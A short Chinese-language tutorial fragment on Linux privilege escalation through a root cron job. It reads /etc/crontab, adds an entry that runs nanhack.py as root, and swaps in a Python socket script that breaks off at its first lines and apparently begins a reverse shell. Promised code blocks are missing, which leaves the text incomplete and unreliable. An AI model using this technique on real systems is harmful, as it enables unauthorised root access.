计划任务提权crontab提权

利用系统 会周期性的去执行特定的指令来提权
在kali下面输入命令：

cat /etc/crontab

我们修改/etc/crontab 添加一行内容

nanhack.py 代码如下

文件已经创建成功，因为是root权限执行，当前目录直接在root目录

提权方法：

我们替换nanhack.py 为其他内容

import socket
import os
#AF_INET 代表ipv4 SOCK_STREAM==>tcp
s = socket.socket